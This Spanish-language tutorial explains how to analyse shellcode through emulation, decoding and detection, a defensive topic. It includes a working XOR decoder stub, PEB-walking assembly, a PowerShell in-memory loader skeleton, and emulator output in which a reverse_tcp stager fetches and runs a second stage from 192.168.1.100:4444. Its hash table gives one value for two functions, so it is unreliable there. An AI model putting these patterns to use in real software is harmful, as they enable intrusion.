Avanzadoshellcodeemulacionexploitsreverse engineeringdeteccionanalisis avanzado

Analisis de Shellcode: Emulacion, Decodificacion y Deteccion

Analisis de shellcode en malware. Tipos de shellcode, decodificacion de stubs, emulacion con scdbg y Unicorn Engine, patrones comunes de shellcode en exploits y malware, y tecnicas de deteccion.

MalwareIntel Research··10 min lectura
Serie: Análisis de Binarios — Parte 13

Shellcode: codigo sin contexto

El shellcode es la forma mas primitiva y poderosa de payload. No es un ejecutable con cabeceras y secciones: es una secuencia raw de instrucciones de maquina que puede ejecutarse desde cualquier posicion de memoria. No tiene imports, no tiene entry point definido por el sistema operativo, y no depende de un loader.

Esta independencia lo hace perfecto para exploits (inyectar en buffers vulnerables), para malware (inyectar en procesos remotos) y para evasion (no tiene la estructura de un PE que los antivirus puedan analizar).

Analizar shellcode requiere tecnicas diferentes a analizar un PE o ELF: no hay cabeceras que parsear, no hay imports que listar, y las herramientas estandar de analisis estatico no funcionan directamente.

Tipos de shellcode

TipoDescripcionTamano tipico
Download and executeDescarga un archivo y lo ejecuta200-500 bytes
Reverse shellAbre conexion TCP inversa al atacante300-600 bytes
Bind shellAbre un puerto y espera conexiones300-600 bytes
StagedFase 1 pequena que descarga fase 2 (mas grande)50-100 bytes (stager)
Egg hunterBusca en memoria un marker para encontrar el payload principal30-60 bytes
Meterpreter stagerStager de Metasploit que carga Meterpreter en memoria200-400 bytes
CustomShellcode propio del atacanteVariable

Estructura tipica del shellcode

Shellcode simple (sin cifrar)

[PEB access]        ; Obtener base de kernel32.dll via PEB
[API resolution]    ; Resolver funciones por hash (GetProcAddress equiv)
[Payload logic]     ; Codigo funcional (download, shell, etc.)

Shellcode con decoder stub

[NOP sled]          ; Opcional, 0x90 bytes para tolerancia de alineacion
[Decoder stub]      ; Descifra el payload cifrado
[Encoded payload]   ; Payload real cifrado (XOR, ADD, etc.)

El decoder stub es la parte mas reconocible del shellcode:

; Decoder stub XOR tipico (x86)
jmp short end_of_payload    ; salta al final
decode:
    pop esi                  ; ESI = direccion del payload cifrado
    xor ecx, ecx            ;
    mov cl, PAYLOAD_LEN      ; tamano del payload
loop_decode:
    xor byte [esi], 0xAA     ; descifra un byte con clave 0xAA
    inc esi                   ;
    loop loop_decode          ;
    jmp short decoded_payload ; salta al payload descifrado
end_of_payload:
    call decode               ; CALL pone la direccion siguiente en stack
decoded_payload:
    ; ... payload cifrado (XOR 0xAA) aqui ...

La tecnica JMP/CALL/POP es clasica: el JMP salta al CALL, el CALL pone la direccion del payload en el stack, y el POP recupera esa direccion. Esto permite que el shellcode conozca su propia posicion en memoria (position-independent).

Resolucion de APIs en shellcode

El shellcode no tiene Import Address Table. Necesita resolver las direcciones de las APIs de Windows por si mismo:

Acceso al PEB (Process Environment Block)

; x86: acceso al PEB
mov eax, fs:[0x30]       ; PEB
mov eax, [eax + 0x0C]    ; PEB->Ldr (PEB_LDR_DATA)
mov eax, [eax + 0x14]    ; InMemoryOrderModuleList
; Primer modulo = ejecutable actual
; Segundo modulo = ntdll.dll
; Tercer modulo = kernel32.dll
mov eax, [eax]           ; siguiente entrada
mov eax, [eax]           ; siguiente entrada (kernel32)
mov eax, [eax + 0x10]    ; DllBase de kernel32.dll

; x64: acceso al PEB
mov rax, gs:[0x60]       ; PEB en x64
mov rax, [rax + 0x18]    ; PEB->Ldr
mov rax, [rax + 0x20]    ; InMemoryOrderModuleList

Resolucion por hash de nombre

Una vez con la base de kernel32.dll, el shellcode itera sobre la Export Directory para encontrar funciones:

; Pseudocodigo: encontrar funcion por hash
for each export_name in kernel32.exports:
    calculated_hash = hash_function(export_name)
    if calculated_hash == target_hash:
        return export_address

Hashes comunes (algoritmo ROR13, usado por Metasploit):

HashFuncion
0x0726774CLoadLibraryA
0x7802F749GetProcAddress
0xE8AFE98WinExec
0x0E8AFE98ExitProcess
0x006B8029WSAStartup
0xE0DF0FEAWSASocketA
0x6174A599connect
0x614D6E75recv
0x56A2B5F0exit

Analisis con scdbg

scdbg (shellcode debugger) emula la ejecucion del shellcode, hookeando las APIs de Windows:

# Analisis basico
scdbg /f shellcode.bin

# Con mas detalle
scdbg /f shellcode.bin /v

# Limitar instrucciones
scdbg /f shellcode.bin /s 100000

# Buscar en archivo mayor (eg. un documento con exploit)
scdbg /f document.doc /findsc

# Dump del shellcode decodificado
scdbg /f shellcode.bin /d

# Salida tipica:
# 4010a8  LoadLibraryA(ws2_32)
# 4010ba  WSAStartup(190)
# 4010d1  WSASocket(af=2, type=1, protocol=0)
# 4010e8  connect(h=68, host: 192.168.1.100, port: 4444)
# 401105  recv(h=68, buf=12fc68, len=4096)
# 401125  VirtualAlloc(base=0, sz=4096, flags=1000, prot=40)
# 40113c  recv(h=68, buf=10000, len=4096)
# 401165  Execution transferred to 0x10000

Este output revela que el shellcode:

  1. Carga ws2_32.dll (networking).
  2. Crea un socket TCP.
  3. Conecta a 192.168.1.100:4444.
  4. Recibe datos (payload de segunda fase).
  5. Reserva memoria ejecutable.
  6. Ejecuta el payload descargado.

Es un stager clasico de Metasploit reverse_tcp.

Emulacion con Unicorn Engine

Para analisis mas controlado, Unicorn Engine permite emular CPU sin un sistema operativo:

from unicorn import Uc, UC_ARCH_X86, UC_MODE_32
from unicorn.x86_const import (
    UC_X86_REG_EAX, UC_X86_REG_EBX,
    UC_X86_REG_ECX, UC_X86_REG_ESP,
    UC_X86_REG_EIP
)

# Leer shellcode
with open("shellcode.bin", "rb") as f:
    shellcode = f.read()

# Crear emulador x86-32
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# Mapear memoria
BASE = 0x400000
STACK = 0x500000
mu.mem_map(BASE, 0x100000)       # Codigo
mu.mem_map(STACK, 0x100000)      # Stack
mu.mem_write(BASE, shellcode)
mu.reg_write(UC_X86_REG_ESP, STACK + 0x80000)

# Hook para interceptar instrucciones
instruction_count = 0

def hook_code(uc, address, size, user_data):
    global instruction_count
    instruction_count += 1
    if instruction_count > 10000:
        uc.emu_stop()

mu.hook_add(1, hook_code)  # UC_HOOK_CODE = 1

# Emular
try:
    mu.emu_start(BASE, BASE + len(shellcode), timeout=5000000)
except Exception as e:
    print("Emulation stopped:", str(e))

# Leer memoria modificada (shellcode decodificado)
decoded = mu.mem_read(BASE, len(shellcode))
print("Decoded bytes:", bytes(decoded[:50]).hex())

Unicorn con hooks de memoria

def hook_mem_access(uc, access, address, size, value, user_data):
    """Hook para detectar acceso al PEB"""
    if access == 16:  # UC_MEM_READ
        if address == 0x7FFE0030:  # Posible acceso PEB
            print("PEB access at EIP:", hex(uc.reg_read(UC_X86_REG_EIP)))
    elif access == 17:  # UC_MEM_WRITE
        print(
            "Write:", hex(value),
            "to:", hex(address),
            "at EIP:", hex(uc.reg_read(UC_X86_REG_EIP))
        )

# Simular PEB y kernel32
PEB_ADDR = 0x7FFE0000
mu.mem_map(PEB_ADDR, 0x1000)
# Configurar PEB con datos simulados...

Patrones comunes de deteccion

NOP Sled

Secuencia de instrucciones NOP (0x90) o equivalentes antes del shellcode. Aumenta la probabilidad de acertar en el entry point cuando la direccion exacta es imprecisa:

# Buscar NOP sleds en un archivo
python3 -c "
data = open('sample.bin', 'rb').read()
nop_count = 0
for i, b in enumerate(data):
    if b == 0x90:
        nop_count += 1
        if nop_count >= 20:
            print('NOP sled at offset', hex(i - nop_count + 1), 'length', nop_count)
    else:
        nop_count = 0
"

Decoder stubs

Buscar patrones de decoder:

  • EB xx 5E: JMP short + POP ESI (JMP/CALL/POP)
  • E8 FF FF FF FF C0: CALL + INC EAX (variante de auto-referencia)
  • 31 C9 B1 xx 80 34: XOR ECX,ECX + MOV CL + XOR [ESI] (decoder loop)

Acceso al PEB

# Buscar patrones de acceso al PEB en x86
# fs:[0x30] = 64 A1 30 00 00 00
# gs:[0x60] = 65 48 8B 04 25 60 00 00 00

python3 -c "
data = open('sample.bin', 'rb').read()
# PEB access x86
peb_x86 = bytes([0x64, 0xA1, 0x30, 0x00, 0x00, 0x00])
pos = data.find(peb_x86)
if pos >= 0:
    print('PEB access (x86) at offset', hex(pos))

# PEB via mov eax, fs:[30h]
peb_x86_v2 = bytes([0x64, 0x8B, 0x15, 0x30, 0x00, 0x00, 0x00])
pos = data.find(peb_x86_v2)
if pos >= 0:
    print('PEB access v2 (x86) at offset', hex(pos))
"

Hash constants

Buscar constantes de hashing conocidas:

HASH_CONSTANTS = dict()
HASH_CONSTANTS[0x5381] = "djb2 init"
HASH_CONSTANTS[0x1505] = "djb2 init (alt)"
HASH_CONSTANTS[0xEDB88320] = "CRC32 polynomial"
HASH_CONSTANTS[0x0D] = "ROR13 rotation"

import struct

def find_hash_constants(filepath):
    with open(filepath, "rb") as f:
        data = f.read()

    for offset in range(len(data) - 3):
        dword = struct.unpack_from("<I", data, offset)[0]
        if dword in HASH_CONSTANTS:
            print(
                "Found", HASH_CONSTANTS[dword],
                "at offset", hex(offset)
            )

Shellcode en documentos Office

Los exploits para Office (CVE-2017-11882, CVE-2017-0199, etc.) embeben shellcode dentro de documentos:

# Extraer shellcode de documentos Office con olevba
olevba document.doc

# rtfdump para documentos RTF
rtfdump.py document.rtf

# Buscar shellcode en OLE streams
oledump.py document.doc

# Extraer y analizar con scdbg
oledump.py -s 3 -d document.doc > extracted.bin
scdbg /f extracted.bin /findsc

Shellcode en PowerShell

Muchos ataques usan PowerShell para ejecutar shellcode en memoria:

# Patron tipico (obfuscado en malware real)
$buf = [byte[]]@(0xfc,0xe8,0x82,0x00,0x00,0x00,...)
$ptr = [Runtime.InteropServices.Marshal]::AllocHGlobal($buf.Length)
[Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, $buf.Length)
# Crear thread en la memoria asignada

Para analizar: extraer el array de bytes, guardarlo como archivo binario y analizarlo con scdbg.

Herramientas especializadas

HerramientaFuncion
scdbgEmulacion de shellcode con hooks de API
Unicorn EngineEmulacion de CPU programable
Speakeasy (FireEye)Emulador de Windows para shellcode y PE
jmp2itEjecuta shellcode en un proceso controlado
shellcode2exeConvierte shellcode a PE para analizar en debugger
blobrunnerEjecuta shellcode en un proceso debuggeable
msfvenomGenera shellcode (para reconocer patrones)
CyberChefDecodificacion de shellcode cifrado (XOR, base64)

Convertir shellcode a PE para debugging

# Con shellcode2exe (convierte a PE ejecutable)
shellcode2exe shellcode.bin output.exe

# Abrir output.exe en x64dbg para debugging paso a paso

Analisis con Speakeasy

Speakeasy de Mandiant emula un entorno Windows completo para shellcode:

import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode(
    "shellcode.bin",
    arch="x86"
)
se.run_shellcode(sc_addr)

# Speakeasy reporta todas las API calls:
# kernel32.LoadLibraryA("ws2_32.dll")
# ws2_32.WSASocketA(AF_INET, SOCK_STREAM, 0)
# ws2_32.connect(socket, 192.168.1.100:4444)

YARA rules para deteccion de shellcode

rule shellcode_peb_access
{
    meta:
        description = "Detects PEB access patterns common in shellcode"
        author = "MalwareIntel Research"

    strings:
        $peb_x86_1 = { 64 A1 30 00 00 00 }
        $peb_x86_2 = { 64 8B (0? | 1? | 2? | 3?) 30 00 00 00 }
        $peb_x64 = { 65 48 8B (04 | 0C | 14 | 1C) 25 60 00 00 00 }

    condition:
        any of ($peb_*)
}

rule shellcode_decoder_stub
{
    meta:
        description = "Detects common shellcode decoder stubs"

    strings:
        $jmp_call_pop = { EB ?? 5? (31 C9 | 33 C9) B1 }
        $call_pop = { E8 FF FF FF FF (C0 | C3) 5? }
        $xor_loop = { 80 (34 | 74) ?? ?? (4? | E2) }

    condition:
        any of them
}

Conclusion

El shellcode es la forma mas cruda y poderosa de payload: codigo puro sin las estructuras que las herramientas de seguridad esperan encontrar. Su analisis requiere un enfoque diferente: emulacion con scdbg para obtener resultados rapidos, Unicorn Engine para control granular, y reconocimiento de patrones (PEB access, decoder stubs, hash constants) para deteccion. Dominar el analisis de shellcode es fundamental para entender exploits, payloads de frameworks como Metasploit y Cobalt Strike, y las fases iniciales de ataques sofisticados.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.